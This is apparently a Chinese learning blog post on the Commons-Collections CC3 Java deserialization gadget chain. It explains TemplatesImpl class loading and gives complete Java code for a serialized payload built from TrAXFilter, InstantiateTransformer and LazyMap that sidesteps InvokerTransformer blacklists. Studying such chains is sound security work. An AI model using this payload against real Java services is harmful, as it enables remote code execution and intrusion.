cc_link_three

0x00前言

这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器

0x01开整

首先明白调用机制loadClass---findClass---defineclass这三个流程

就再dfineClass的时候执行代码块之类的嘛所以我们找找defineClass有没有利用的的点,找了很多defineClass都是私有的和保护的我们要找一个公开的方法

最后在com.sun.org.apache.xalan.internal.xsltc.trax包下面发现了这个class的方法,只能在本包下访问的限制,然后再追进去看看

然后继续往上调用找到了

然后继续向上寻找有三个值,看看三个值有没有代码执行的可能性

最后在第三个调用哪里发现了一个类加载的机制newInstance()

然而它还是私有的继续往上找一下找到了上一层就发现了公开的方法

这条链子大概就是这样发现了,然后就执行到这个newInstance()然后执行对应文件的代码就可以加载到

开始手搓

确定一下代码执行的地方

先确定一下这个类它确定是继承了这些类的,是可以序列化的

然后确定一下各个位置的值是怎么判断的

 private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
} return translet;
}
  • _name需要能为空因为我们要继续向下追踪

然后追下去发现

因为我们要调用definclass嘛然后所以_bytecodes也不能为空

_tfactory需要调用_getExternalExtensionsMap()方法所以它也不能为空不然会出现空指针异常的问题

然后就写个正面的payload来看一下嘛

public class cc_link_3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer(); }
}

然后在执行的时候爆了空指针异常嘛可能就是因为在defineclass那个函数里面有些值的赋值没有赋值好

在这个点解读一下就是我们加载的类的父类的名称必须是

在下面这个点的时候

调用了一个put方法然后再这个参数这个时候是空的所以存在空指针异常

这里我们绕过的方式就有两种第一种是让他不进入循环然后去跳开那个if然后给下面空指针那个属性赋一个值,但是我们在后面看来后面还有一个对t_transletIndex进行一个判断的函数,然后再上面那个if还是对_transletIndex变成了-1还是很有用的,所以我们还是进入这个if循环所以给我们的test增加一个AbstrancTranslet的父类

这样就能达到执行代码的效果咯,这条链子的意思呢就是我们只要调用了Templateslmpl.newTransformer方法就可以执行任意代码它有可以执行代码我们就可以直接利用cc链1的transfrom方法去调用

绕过Invokertransfromer

然后其实要执行方法的话我们就想到直接可以用cc链子1或者六的链子直接调用那个方法就行了,然后因为那个方法又是公开的方法所以一直接再invoketransform里面执行就行了然后就可以沿着cc链子继续网上走,这条链子就是去解决runtime被禁止序列化以后的方法去执行调用

HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>(); map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa"); Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin"); }
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

还有一个问题当我们的核心方法invoketrasnform被ban掉以后我们这条链子就完全断点了,但是我们其实还是有其他方法来继续执行这个代码的就是继续上找一下找到其他方法去调用newTransformer方法

一顿操作以后

直接找到了这个函数发现了构造函数是可以构造的地方,然后直接通过传参的方式获取,但是呢这个类又没有继承可以序列接口,所以我也不知道作者是怎么找到的这个方法

确定链头

在InstantiateTransformer这个类里面的它的构造方法存我们可以构造传入的参数值,而且它的transform还可以调用newInstance,到这里我们基本就完成了我们用URLdns那条链子来作为链头部

整体的调用过程

  • HashMap.readObject
  • TiedMapEntry.hashCode
  • LazyMap.decorate
  • ChainedTransformer.transform()
  • InstantiateTransformer.transform()
  • TrAXFilter
  • Transformer.newTransformer()
  • 动态类加载来执行(defineClass)

这条链子重要的就是绕开了Invoketransformer

 public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
//类加载要使用类加载器
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field _namefield = templatesClass.getDeclaredField("_name");
_namefield.setAccessible(true);
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
_namefield.set(templates,"aaaaa");
byte[] code = Files.readAllBytes(Paths.get("C://test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //在这里是InstantiateTransforme的获取构造器的方法然后用TrAXFilter调用构造器之后就可以构造出函数
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin"); }

0x02小结

CC3 链作为另外一种命令执行的方式,在原本黑名单的机会当中溜了出来,确实牛逼。作为利用类加载机制的执行方式,前面的触发头又有了多种可能,是值得学习一下的

CC3的更多相关文章

  1. CC3的多列属性Multi-column

    CC3的多列属性Multi-column 一直都很想了解这个属性,总是忘了.今天可以研究一下,回想起想了解它的原因,大概是觉得它很容易分开几列.可能会有很多好处和方便. 0 16-09-17 1 16 ...

  2. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  3. Java安全之CC3

    前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...

  4. CC3中的2D转换

    2D转换方法: translate() rotate() scale() skew() matrix() 1.translate()方法,根据左(X轴)和顶部(Y轴)位置给定的参数,从当前元素位置移动 ...

  5. SASS教程sass超详细教程

    SASS安装及使用(sass教程.详细教程) 采用SASS开发CSS,可以提高开发效率. SASS建立在Ruby的基础之上,所以得先安装Ruby. Ruby的安装: 安装 rubyinstaller- ...

  6. spring boot(二):web综合开发

    上篇文章介绍了Spring boot初级教程:spring boot(一):入门篇,方便大家快速入门.了解实践Spring boot特性:本篇文章接着上篇内容继续为大家介绍spring boot的其它 ...

  7. 前端css框架SASS使用教程(转)

    一.什么是SASS SASS是一种CSS的开发工具,提供了许多便利的写法,大大节省了设计者的时间,使得CSS的开发,变得简单和可维护. 本文总结了SASS的主要用法.我的目标是,有了这篇文章,日常的一 ...

  8. SASS 入门笔记

    参考资料: SASS 用法指南 SASS 语法 Sass Basics SASS_REFERENCE sass 有两种后缀名文件:一种后缀名为 sass,不使用大括号和分号:另一种就是我们这里使用的 ...

  9. 【krpano】krpano xml资源解密(破解)软件说明与下载(v1.4)

    欢迎加入qq群551278936讨论krpano技术以及获取最新软件.   该软件已经不再维护,现在已经被KRPano资源分析工具取代,详情参见 http://www.cnblogs.com/reac ...

随机推荐

  1. CF1450G. Communism(状压DP)

    题面 有一个字符串 s \tt s s 和一个有理数 k \tt k k,可以进行如下操作任意次: 选一个当前串中存在的字符 x \tt x x ,令 i 1 , i 2 , . . . , i m ...

  2. [CF1500C] Matrix Sorting (模拟)

    场上最后十几秒交上去过掉了耶! 题面 这里有两个 N ∗ M N*M N∗M 的 E x c e l \rm Excel Excel 表格 A A A 和 B B B. 我们知道 E x c e l ...

  3. redis缓存恢复-2022新项目

    一.业务场景 Web项目开发中,为了加快数据处理的的效率,大量的使用了各种缓存,缓存技术主要使用的是redis.导致出现的小小的 问题是对redis缓存形成了一个比较强的依赖,并且有的数据暂时是没有同 ...

  4. 大家都能看得懂的源码之ahooks useInfiniteScroll

    本文是深入浅出 ahooks 源码系列文章的第十七篇,该系列已整理成文档-地址.觉得还不错,给个 star 支持一下哈,Thanks. 简介 useInfiniteScroll 封装了常见的无限滚动逻 ...

  5. KingbaseES DENSE_RANK 函数用法

    DENSE_RANK()函数用于为结果集分区内的每一行分配一个排名,排名值之间没有差距,函数为结果集的每个分区中的每一行分配一个等级. 与 RANK() 函数不同的是,DENSE_RANK() 函数总 ...

  6. [Python]-string-字符串

    字符串是Python中很常用的数据类型,此处记录一些典型用法并随时更新. split()方法 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串. 两个参数st ...

  7. 关于thinkphp5.1(tp5.1)中sum计算结果不精确、不准确的问题

    使用sprintf函数处理,虽然原理没搞懂,但是问题解决了 复现: test表中有两列,值分别是-0.33和10,数据类型是float SELECT SUM(`val`) AS tp_sum FROM ...

  8. typora收费了,最后一个免费版提供下载

    typora收费了,在这里,博主提供最后一个免费版下载,地址如下,顺便把typora导入和导出word时需要的工具也一同提供.最看不惯免费用着别人的软件,还搞引流的垃圾网站和公众号.地址如下 http ...

  9. Mybatis框架搭建

    Mybatis框架搭建 思路: 搭建环境 导入Mybatis 编写代码 测试 一.搭建环境 创建数据库 /* Navicat Premium Data Transfer​ Source Server ...

  10. innodb_flush_log_at_trx_commit 和 sync_binlog 参数详 解

    "innodb_flush_log_at_trx_commit"和"sync_binlog"两个参数是控制 MySQL 磁盘写入策略以及数据安全性的关键参数.当 ...